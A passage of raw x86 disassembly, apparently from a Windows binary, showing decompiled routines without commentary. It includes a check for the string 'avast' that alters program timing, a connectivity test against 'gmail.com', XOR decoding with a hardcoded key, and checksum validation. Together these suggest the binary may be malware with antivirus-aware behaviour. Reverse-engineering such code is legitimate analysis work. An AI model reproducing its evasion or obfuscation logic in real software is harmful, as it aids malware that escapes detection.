		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		lea	eax, [edi+0B4h]
		push	eax
		call	ds:dword_4180DC
		mov	eax, [edi+0B0h]
		cmp	eax, ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_14], eax
		jle	short loc_4053B9


loc_405368:				; CODE XREF: sub_405263+154j
		push	ebx
		push	esi
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		push	[ebp+var_10]
		lea	ecx, [edi+0A8h]
		call	sub_404D11
		push	ebx
		push	dword ptr [eax]
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		push	ebx
		push	esi
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		push	[ebp+var_10]
		lea	ecx, [edi+0A8h]
		call	sub_404D11
		push	dword ptr [eax+8]
		lea	ecx, [ebp+var_8]
		call	sub_40DBF8
		inc	[ebp+var_10]
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_14]
		jl	short loc_405368


loc_4053B9:				; CODE XREF: sub_405263+103j
		lea	eax, [edi+0B4h]
		push	eax
		call	ds:dword_4180E0
		push	ebx
		push	esi
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		push	ebx
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, edi
		call	sub_404905
		test	al, al
		jz	short loc_405420
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, edi
		call	sub_403624


loc_4053EF:				; CODE XREF: sub_405263+199j
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, edi
		call	sub_404AB9
		test	al, al
		jnz	short loc_4053EF


loc_4053FE:				; CODE XREF: sub_405263+1A8j
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, edi
		call	sub_404B44
		test	al, al
		jnz	short loc_4053FE


loc_40540D:				; CODE XREF: sub_405263+1B7j
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, edi
		call	sub_404BED
		test	al, al
		jnz	short loc_40540D
		mov	[ebp+var_1], 1


loc_405420:				; CODE XREF: sub_405263+17Fj
		lea	ecx, [ebp+var_8]
		call	sub_40DB59
		lea	ecx, [ebp+var_18]
		call	sub_40DB59
		lea	ecx, [ebp+var_C]
		call	sub_40DB59
		mov	al, [ebp+var_1]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405263	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405440	proc near		; CODE XREF: sub_405675+1E1p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	edi
		lea	ecx, [ebp+var_18]
		mov	[ebp+var_20], esi
		mov	[ebp+var_1], bl
		call	sub_40DB48
		lea	ecx, [ebp+var_8]
		call	sub_40DB48
		push	ebx
		push	offset dword_41BDA8
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		push	ebx
		mov	edi, offset asc_41BCC0 ; "~!"
		push	edi
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		push	dword ptr [esi+70h]
		lea	ecx, [ebp+var_8]
		call	sub_40DBF8
		push	ebx
		push	edi
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		push	23h
		lea	ecx, [ebp+var_8]
		call	sub_40DBF8
		lea	eax, [esi+50FCh]
		push	eax
		mov	[ebp+var_24], eax
		call	ds:dword_4180DC
		lea	eax, [ebp+var_10]
		push	eax
		lea	ecx, [esi+50F8h]
		call	sub_408761
		cmp	[ebp+var_10], ebx
		jz	loc_405615


loc_4054C7:				; CODE XREF: sub_405440+1CCj
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jz	short loc_4054D3
		mov	esi, [eax+4]
		jmp	short loc_4054D5
; ---------------------------------------------------------------------------


loc_4054D3:				; CODE XREF: sub_405440+8Cj
		xor	esi, esi


loc_4054D5:				; CODE XREF: sub_405440+91j
		cmp	[esi+4], ebx
		jbe	loc_405601
		push	ebx
		push	edi
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jz	short loc_4054F3
		mov	eax, [eax]
		jmp	short loc_4054F5
; ---------------------------------------------------------------------------


loc_4054F3:				; CODE XREF: sub_405440+ADj
		xor	eax, eax


loc_4054F5:				; CODE XREF: sub_405440+B1j
		push	eax
		lea	ecx, [ebp+var_8]
		call	sub_40DBF8
		push	ebx
		push	edi
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		lea	ecx, [ebp+var_C]
		call	sub_40DB48
		mov	eax, [esi+4]
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1C], eax
		jbe	loc_4055C8


loc_405521:				; CODE XREF: sub_405440+17Dj
		mov	edi, [ebp+var_14]
		mov	eax, [esi]
		shl	edi, 2
		mov	eax, [edi+eax]
		push	dword ptr [eax]
		lea	ecx, [ebp+var_C]
		call	sub_40DBF8
		mov	eax, [esi]
		mov	eax, [eax+edi]
		add	eax, 4
		mov	eax, [eax]
		cmp	eax, ebx
		jz	short loc_40556E
		push	eax
		call	sub_40CD83
		cmp	eax, ebx
		pop	ecx
		jbe	short loc_40556E
		push	ebx
		push	offset dword_41BDA4
		lea	ecx, [ebp+var_C]
		call	sub_40DBA2
		mov	eax, [esi]
		mov	eax, [eax+edi]
		push	ebx
		push	dword ptr [eax+4]
		lea	ecx, [ebp+var_C]
		call	sub_40DBA2


loc_40556E:				; CODE XREF: sub_405440+102j
					; sub_405440+10Dj
		mov	eax, [esi]
		mov	eax, [eax+edi]
		add	eax, 8
		mov	eax, [eax]
		cmp	eax, ebx
		jz	short loc_4055A6
		push	eax
		call	sub_40CD83
		cmp	eax, ebx
		pop	ecx
		jbe	short loc_4055A6
		push	ebx
		push	offset dword_41BDA4
		lea	ecx, [ebp+var_C]
		call	sub_40DBA2
		mov	eax, [esi]
		mov	eax, [eax+edi]
		push	ebx
		push	dword ptr [eax+8]
		lea	ecx, [ebp+var_C]
		call	sub_40DBA2


loc_4055A6:				; CODE XREF: sub_405440+13Aj
					; sub_405440+145j
		push	ebx
		push	offset asc_418210 ; "\n"
		lea	ecx, [ebp+var_C]
		call	sub_40DBA2
		inc	[ebp+var_14]
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+var_1C]
		jb	loc_405521
		mov	edi, offset asc_41BCC0 ; "~!"


loc_4055C8:				; CODE XREF: sub_405440+DBj
		cmp	[ebp+var_C], ebx
		jnz	short loc_4055D1
		xor	eax, eax
		jmp	short loc_4055DA
; ---------------------------------------------------------------------------


loc_4055D1:				; CODE XREF: sub_405440+18Bj
		push	[ebp+var_C]
		call	sub_40CD83
		pop	ecx


loc_4055DA:				; CODE XREF: sub_405440+18Fj
		push	eax
		lea	ecx, [ebp+var_8]
		call	sub_40DBF8
		push	ebx
		push	edi
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		push	ebx
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		lea	ecx, [ebp+var_C]
		call	sub_40DB59


loc_405601:				; CODE XREF: sub_405440+98j
		lea	ecx, [ebp+var_10]
		call	sub_404CFB
		cmp	[ebp+var_10], ebx
		jnz	loc_4054C7
		mov	esi, [ebp+var_20]


loc_405615:				; CODE XREF: sub_405440+81j
		push	ebx
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, esi
		call	sub_404905
		test	al, al
		jz	short loc_405638
		lea	ecx, [esi+94h]
		mov	[ebp+var_1], 1
		call	sub_40235F


loc_405638:				; CODE XREF: sub_405440+1E7j
		push	[ebp+var_24]
		call	ds:dword_4180E0
		lea	ecx, [ebp+var_8]
		call	sub_40DB59
		lea	ecx, [ebp+var_18]
		call	sub_40DB59
		mov	al, [ebp+var_1]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405440	endp


; =============== S U B	R O U T	I N E =======================================



sub_405659	proc near		; DATA XREF: .rdata:off_41BD98o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_404FDE
		test	[esp+4+arg_0], 1
		jz	short loc_40566F
		push	esi
		call	sub_40D0B6
		pop	ecx


loc_40566F:				; CODE XREF: sub_405659+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_405659	endp


; =============== S U B	R O U T	I N E =======================================



sub_405675	proc near		; DATA XREF: sub_4058DF+A1o

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 14h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, ecx
		xor	edi, edi
		mov	[esp+24h+var_11], 0


loc_405685:				; CODE XREF: sub_405675+25Fj
		mov	ecx, esi
		call	sub_4049A1
		test	al, al
		jnz	short loc_4056AB
		inc	edi
		cmp	edi, 14h
		jbe	loc_4058BF
		mov	ecx, esi
		call	sub_40387F


loc_4056A1:				; CODE XREF: sub_405675+265j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 14h
		retn	4
; ---------------------------------------------------------------------------


loc_4056AB:				; CODE XREF: sub_405675+19j
		lea	ebx, [esi+3Ch]
		xor	ebp, ebp
		push	ebx
		mov	[esp+28h+var_4], ebp
		call	ds:dword_4180DC
		mov	ecx, esi
		call	sub_404E95
		test	al, al
		jnz	short loc_4056FA
		push	10h
		call	sub_40D0BB
		cmp	eax, ebp
		pop	ecx
		jz	short loc_4056E3
		movzx	ecx, word ptr [esi+30h]
		push	ecx
		push	dword ptr [esi+2Ch]
		mov	ecx, eax
		call	sub_40414D
		jmp	short loc_4056E5
; ---------------------------------------------------------------------------


loc_4056E3:				; CODE XREF: sub_405675+5Bj
		xor	eax, eax


loc_4056E5:				; CODE XREF: sub_405675+6Cj
		push	eax
		lea	ecx, [esi+24h]
		call	sub_4151CB
		push	ebx
		call	ds:dword_4180E0
		jmp	loc_4058B4
; ---------------------------------------------------------------------------


loc_4056FA:				; CODE XREF: sub_405675+4Fj
		mov	edi, ds:dword_4180E0
		push	ebx
		call	edi
		push	dword ptr [esi+5194h]
		call	ds:dword_4180AC
		push	ebp
		lea	ecx, [esi+5178h]
		call	sub_40B3A7
		lea	ecx, [esp+24h+var_C]
		call	sub_40DB48
		lea	eax, [esp+24h+var_C]
		push	eax
		push	ebp
		push	offset aGmail_com ; "gmail.com"
		call	sub_40C574
		add	esp, 0Ch
		test	al, al
		jnz	short loc_405749
		lea	eax, [esi+5158h]
		push	eax
		mov	ecx, esi
		call	sub_404D27


loc_405749:				; CODE XREF: sub_405675+C4j
		cmp	[esp+24h+var_11], 0
		jnz	loc_4057F9
		push	dword ptr [esi+515Ch]
		call	ds:dword_4181CC
		push	eax
		call	ds:dword_4181B0
		mov	[esp+24h+var_8], eax
		lea	ebp, [esi+98h]


loc_405771:				; CODE XREF: sub_405675+133j
		push	1Eh
		push	19h
		push	[esp+2Ch+var_8]
		mov	ecx, ebp
		call	sub_4012B3
		mov	edi, eax
		test	edi, edi
		mov	[esp+24h+var_10], edi
		jnz	short loc_4057AF
		lea	ecx, [esp+24h+var_10]
		call	sub_4021A1
		push	1
		push	1B7740h
		push	dword ptr [esi+5194h]
		call	ds:dword_4180B0
		test	eax, eax
		jnz	short loc_405771
		jmp	loc_40589F
; ---------------------------------------------------------------------------


loc_4057AF:				; CODE XREF: sub_405675+113j
		mov	ecx, edi
		call	sub_40D4D4
		mov	edi, [edi+4]
		push	offset aAvast	; "avast"
		push	edi
		call	sub_40CE77
		neg	eax
		sbb	eax, eax
		pop	ecx
		and	eax, 0FFFFFFEDh
		pop	ecx
		add	eax, 14h
		lea	edi, [esi+94h]
		push	eax
		mov	ecx, edi
		call	sub_402AD3
		mov	ecx, edi
		call	sub_401FB8
		lea	ecx, [esp+24h+var_10]
		mov	[esp+24h+var_11], 1
		call	sub_4021A1
		mov	edi, ds:dword_4180E0


loc_4057F9:				; CODE XREF: sub_405675+D9j
		mov	ebp, 1388h


loc_4057FE:				; CODE XREF: sub_405675+1FBj
		mov	eax, [esi+20ECh]
		mov	ecx, [esi+20E8h]
		sub	ecx, eax
		cmp	ecx, 400h
		jge	short loc_40583E
		push	ebx
		call	ds:dword_4180DC
		mov	ecx, esi
		call	sub_405263
		test	al, al
		jz	short loc_405874
		mov	eax, [esi+20ECh]
		mov	ecx, [esi+20E8h]
		sub	ecx, eax
		jnz	short loc_40583B
		mov	ebp, 0DBBA0h


loc_40583B:				; CODE XREF: sub_405675+1BFj
		push	ebx
		call	edi


loc_40583E:				; CODE XREF: sub_405675+19Dj
		lea	ecx, [esi+94h]
		call	sub_401E99
		test	al, al
		jz	short loc_405862
		push	ebx
		call	ds:dword_4180DC
		mov	ecx, esi
		call	sub_405440
		test	al, al
		jz	short loc_405874
		push	ebx
		call	edi


loc_405862:				; CODE XREF: sub_405675+1D6j
		push	ebp
		lea	ecx, [esi+5194h]
		call	sub_401316
		test	al, al
		jz	short loc_4057FE
		jmp	short loc_40589F
; ---------------------------------------------------------------------------


loc_405874:				; CODE XREF: sub_405675+1AFj
					; sub_405675+1E8j
		push	10h
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_405891
		movzx	ecx, word ptr [esi+30h]
		push	ecx
		push	dword ptr [esi+2Ch]
		mov	ecx, eax
		call	sub_40414D
		jmp	short loc_405893
; ---------------------------------------------------------------------------


loc_405891:				; CODE XREF: sub_405675+209j
		xor	eax, eax


loc_405893:				; CODE XREF: sub_405675+21Aj
		push	eax
		lea	ecx, [esi+24h]
		call	sub_4151CB
		push	ebx
		call	edi


loc_40589F:				; CODE XREF: sub_405675+135j
					; sub_405675+1FDj
		push	dword ptr [esi+5194h]
		call	ds:dword_4180A8
		lea	ecx, [esp+24h+var_C]
		call	sub_40DB59


loc_4058B4:				; CODE XREF: sub_405675+80j
		mov	ecx, esi
		call	sub_40426A
		mov	edi, [esp+24h+var_4]


loc_4058BF:				; CODE XREF: sub_405675+1Fj
		push	1
		push	3E8h
		push	dword ptr [esi+5190h]
		call	ds:dword_4180B0
		test	eax, eax
		jnz	loc_405685
		jmp	loc_4056A1
sub_405675	endp


; =============== S U B	R O U T	I N E =======================================



sub_4058DF	proc near		; CODE XREF: sub_403389+116p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	ebx
		push	[esp+10h+arg_8]
		mov	esi, ecx
		push	[esp+14h+arg_4]
		push	[esp+18h+arg_0]
		call	sub_403CCB
		lea	edi, [esi+94h]
		mov	ecx, edi
		call	sub_4021DE
		lea	ecx, [esi+5158h]
		mov	dword ptr [esi], offset	off_41BD98
		mov	dword ptr [edi], offset	off_41BD94
		call	sub_40DB48
		lea	ecx, [esi+515Ch]
		call	sub_40DB48
		lea	edi, [esi+5160h]
		xor	ecx, ecx
		mov	[edi+14h], ecx
		xor	eax, eax
		mov	[edi+10h], eax
		mov	[edi+8], ebx
		mov	[edi+4], ebx
		mov	[esi+518Ch], ecx
		push	1
		lea	ecx, [esi+5190h]
		mov	[esi+5188h], eax
		mov	[esi+5180h], ebx
		mov	[esi+517Ch], ebx
		call	sub_4012FC
		push	1
		lea	ecx, [esi+5194h]
		call	sub_4012FC
		mov	[esi+5198h], ebx
		xor	ecx, ecx
		mov	[edi+14h], ecx
		mov	[edi+8], esi
		mov	[edi+4], ebx
		mov	eax, offset sub_405675
		mov	[edi+10h], eax
		mov	eax, offset sub_405074
		mov	[esi+518Ch], ecx
		push	ebx
		mov	ecx, edi
		mov	[esi+5188h], eax
		mov	[esi+5180h], esi
		mov	[esi+517Ch], ebx
		call	sub_40B3A7
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	0Ch
sub_4058DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4059B5	proc near		; CODE XREF: sub_404949+9p

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dword ptr [eax], offset	off_41BDC0
		mov	[eax+4], ecx
		retn	4
sub_4059B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4059C7	proc near		; CODE XREF: sub_40444C+8Bj
					; sub_405D1C+3p
		mov	dword ptr [ecx], offset	off_41BDC0
		mov	ecx, [ecx+4]
		mov	eax, [ecx]
		jmp	dword ptr [eax+4]
sub_4059C7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4059D5	proc near		; CODE XREF: sub_405A69+9p
					; sub_405AA1+74p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		xor	ecx, ecx
		xor	al, al
		cmp	[esp+arg_4], ecx
		jbe	short locret_4059ED


loc_4059DF:				; CODE XREF: sub_4059D5+16j
		mov	edx, [esp+arg_0]
		xor	al, [ecx+edx]
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jb	short loc_4059DF

locret_4059ED:				; CODE XREF: sub_4059D5+8j
		retn
sub_4059D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4059EE	proc near		; CODE XREF: sub_405A69+1Bp
					; sub_405AA1+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		xor	ecx, ecx
		xor	al, al
		cmp	[esp+arg_4], ecx
		jbe	short locret_405A06


loc_4059F8:				; CODE XREF: sub_4059EE+16j
		mov	edx, [esp+arg_0]
		add	al, [ecx+edx]
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jb	short loc_4059F8

locret_405A06:				; CODE XREF: sub_4059EE+8j
		retn
sub_4059EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405A07	proc near		; CODE XREF: sub_405AA1+Ep
					; sub_405D38+CFp ...

var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		mov	esi, [ebp+arg_4]
		test	esi, esi
		mov	[ebp+var_10], 74h
		mov	[ebp+var_F], 0DFh
		mov	[ebp+var_E], 0ECh
		mov	[ebp+var_D], 43h
		mov	[ebp+var_C], 0A0h
		mov	[ebp+var_B], 26h
		mov	[ebp+var_A], 0B3h
		mov	[ebp+var_9], 5Fh
		mov	[ebp+var_8], 35h
		mov	[ebp+var_7], 0AFh
		mov	[ebp+var_6], 96h
		mov	[ebp+var_5], 1Eh
		mov	[ebp+var_4], 8Ch
		mov	[ebp+var_3], 12h
		mov	[ebp+var_2], 64h
		mov	[ebp+var_1], 7Bh
		jbe	short loc_405A66
		mov	eax, [ebp+arg_0]
		lea	ecx, [ebp+var_10]
		sub	ecx, eax


loc_405A5D:				; CODE XREF: sub_405A07+5Dj
		mov	dl, [ecx+eax]
		xor	[eax], dl
		inc	eax
		dec	esi
		jnz	short loc_405A5D


loc_405A66:				; CODE XREF: sub_405A07+4Cj
		pop	esi
		leave
		retn
sub_405A07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405A69	proc near		; CODE XREF: sub_4065D1+B1p

arg_2		= byte ptr  0Ah
arg_3		= byte ptr  0Bh
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_4059D5
		cmp	al, [ebp+arg_2]
		pop	ecx
		pop	ecx
		jnz	short loc_405A9D
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_4059EE
		cmp	al, [ebp+arg_3]
		pop	ecx
		pop	ecx
		jnz	short loc_405A9D
		mov	[ebp+arg_2], 0
		mov	[ebp+arg_3], 0
		mov	eax, [ebp+8]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_405A9D:				; CODE XREF: sub_405A69+13j
					; sub_405A69+25j
		xor	eax, eax
		pop	ebp
		retn
sub_405A69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405AA1	proc near		; CODE XREF: sub_4045DD+15p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	10h
		push	edi
		call	sub_405A07
		push	8
		xor	esi, esi
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_40CCD9
		add	esp, 14h


loc_405AC5:				; CODE XREF: sub_405AA1+4Aj
		mov	dl, [esi+edi]
		xor	eax, eax


loc_405ACA:				; CODE XREF: sub_405AA1+44j
		mov	cl, al
		mov	bl, dl
		shr	bl, cl
		mov	ecx, esi
		and	bl, 1
		movzx	bx, bl
		shl	bx, cl
		or	[ebp+eax*2+var_8], bx
		inc	eax
		cmp	eax, 4
		jl	short loc_405ACA
		inc	esi
		cmp	esi, 10h
		jl	short loc_405AC5
		mov	al, byte ptr [ebp+var_2+1]
		mov	bl, byte ptr [ebp+var_2]
		and	[ebp+var_2], 0
		mov	byte ptr [ebp+arg_0+3],	al
		lea	eax, [ebp+var_8]
		push	8
		push	eax
		call	sub_4059EE
		pop	ecx
		pop	ecx
		pop	edi
		pop	esi
		cmp	al, bl
		pop	ebx
		jnz	short loc_405B40
		lea	eax, [ebp+var_8]
		push	8
		push	eax
		call	sub_4059D5
		cmp	al, byte ptr [ebp+arg_0+3]
		pop	ecx
		pop	ecx
		jnz	short loc_405B40
		movzx	eax, [ebp+var_6]
		movzx	ecx, [ebp+var_8]
		shl	eax, 10h
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		movzx	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	al, 1
		jmp	short locret_405B42
; ---------------------------------------------------------------------------


loc_405B40:				; CODE XREF: sub_405AA1+6Cj
					; sub_405AA1+7Ej
		xor	al, al

locret_405B42:				; CODE XREF: sub_405AA1+9Dj
		leave
		retn	0Ch
sub_405AA1	endp


; =============== S U B	R O U T	I N E =======================================



sub_405B46	proc near		; CODE XREF: sub_405B7E+6p
					; sub_406124+19p
		push	esi
		push	10h
		mov	esi, ecx
		push	0
		push	esi
		call	sub_40CCD9
		add	esp, 0Ch
		mov	eax, esi
		pop	esi
		retn
sub_405B46	endp


; =============== S U B	R O U T	I N E =======================================



sub_405B5A	proc near		; CODE XREF: sub_406231+10p
					; sub_406231+1Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	10h
		mov	esi, ecx
		push	0
		push	esi
		call	sub_40CCD9
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	esi
		call	sub_40CCF7
		add	esp, 18h
		mov	eax, esi
		pop	esi
		retn	8
sub_405B5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405B7E	proc near		; CODE XREF: sub_405EFE+1Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		call	sub_405B46
		mov	eax, [ebp+arg_8]
		shl	eax, 2
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CCF7
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	ebp
		retn
sub_405B7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_405BA3	proc near		; CODE XREF: sub_405C62+1Dp
					; sub_405C62+94p ...

arg_0		= dword	ptr  4

		push	7
		pop	eax


loc_405BA6:				; CODE XREF: sub_405BA3+Fj
		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx+eax*2], 0
		jnz	short locret_405BB7
		dec	eax
		jns	short loc_405BA6
		or	eax, 0FFFFFFFFh

locret_405BB7:				; CODE XREF: sub_405BA3+Cj
		retn
sub_405BA3	endp


; =============== S U B	R O U T	I N E =======================================



sub_405BB8	proc near		; CODE XREF: sub_405F32+1A3p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		push	3
		pop	edi
		lea	eax, [ecx+0Ch]
		sub	edx, ecx


loc_405BC6:				; CODE XREF: sub_405BB8+1Fj
		mov	ecx, [eax]
		mov	esi, [edx+eax]
		cmp	ecx, esi
		ja	short loc_405BD9
		jb	short loc_405BE0
		dec	edi
		sub	eax, 4
		test	edi, edi
		jge	short loc_405BC6


loc_405BD9:				; CODE XREF: sub_405BB8+15j
		mov	al, 1


loc_405BDB:				; CODE XREF: sub_405BB8+2Aj
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_405BE0:				; CODE XREF: sub_405BB8+17j
		xor	al, al
		jmp	short loc_405BDB
sub_405BB8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405BE4	proc near		; CODE XREF: sub_405F32+1BCp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, ecx
		push	4
		xor	ebx, ebx
		mov	[ebp+var_4], esi
		sub	edi, esi
		pop	eax


loc_405BFA:				; CODE XREF: sub_405BE4+31j
		mov	edx, [edi+esi]
		add	edx, ebx
		add	[esi], edx
		cmp	[esi], edx
		sbb	ecx, ecx
		neg	ecx
		cmp	edx, ebx
		sbb	edx, edx
		neg	edx
		or	ecx, edx
		add	esi, 4
		dec	eax
		mov	ebx, ecx
		jnz	short loc_405BFA
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_405BE4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405C21	proc near		; CODE XREF: sub_405F32+1C7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	esi, ecx
		push	4
		xor	edx, edx
		mov	[ebp+var_4], esi
		sub	ebx, esi
		pop	ecx


loc_405C37:				; CODE XREF: sub_405C21+35j
		mov	eax, [esi]
		mov	edi, eax
		sub	edi, edx
		mov	edx, edi
		sub	edx, [ebx+esi]
		cmp	edi, edx
		mov	[esi], edx
		sbb	edx, edx
		neg	edx
		cmp	eax, edi
		sbb	eax, eax
		neg	eax
		or	edx, eax
		add	esi, 4
		dec	ecx
		jnz	short loc_405C37
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_405C21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405C62	proc near		; CODE XREF: sub_406103+15p

var_34		= byte ptr -34h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	20h
		lea	eax, [ebp+var_34]
		push	0
		push	eax
		mov	[ebp+var_4], ecx
		call	sub_40CCD9
		push	[ebp+var_4]
		and	[ebp+var_10], 0
		call	sub_405BA3
		add	esp, 10h
		test	eax, eax
		jl	short loc_405D04
		lea	eax, [ebp+var_34]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		push	ebx
		lea	ecx, [ebp+var_34]
		sub	eax, ecx
		push	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_14], eax
		push	edi


loc_405CA6:				; CODE XREF: sub_405C62+9Dj
		xor	edi, edi
		xor	edx, edx
		cmp	[ebp+var_8], edi
		jle	short loc_405CE9
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		movzx	ebx, word ptr [eax+ecx]


loc_405CB9:				; CODE XREF: sub_405C62+85j
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax+edi*2]
		imul	eax, ebx
		movzx	edx, dx
		add	eax, edx
		movzx	edx, word ptr [ecx]
		lea	esi, [eax+edx]
		cmp	si, dx
		sbb	edx, edx
		neg	edx
		shr	eax, 10h
		add	dx, ax
		mov	[ecx], si
		inc	edi
		inc	ecx
		inc	ecx
		cmp	edi, [ebp+var_8]
		movzx	edx, dx
		jl	short loc_405CB9


loc_405CE9:				; CODE XREF: sub_405C62+4Bj
		push	[ebp+var_4]
		inc	[ebp+var_10]
		dec	[ebp+var_8]
		add	[ebp+var_C], 2
		call	sub_405BA3
		cmp	[ebp+var_10], eax
		pop	ecx
		jle	short loc_405CA6
		pop	edi
		pop	esi
		pop	ebx


loc_405D04:				; CODE XREF: sub_405C62+27j
		push	10h
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_4]
		call	sub_40CCF7
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		leave
		retn	4
sub_405C62	endp


; =============== S U B	R O U T	I N E =======================================



sub_405D1C	proc near		; DATA XREF: .rdata:off_41BDC0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4059C7
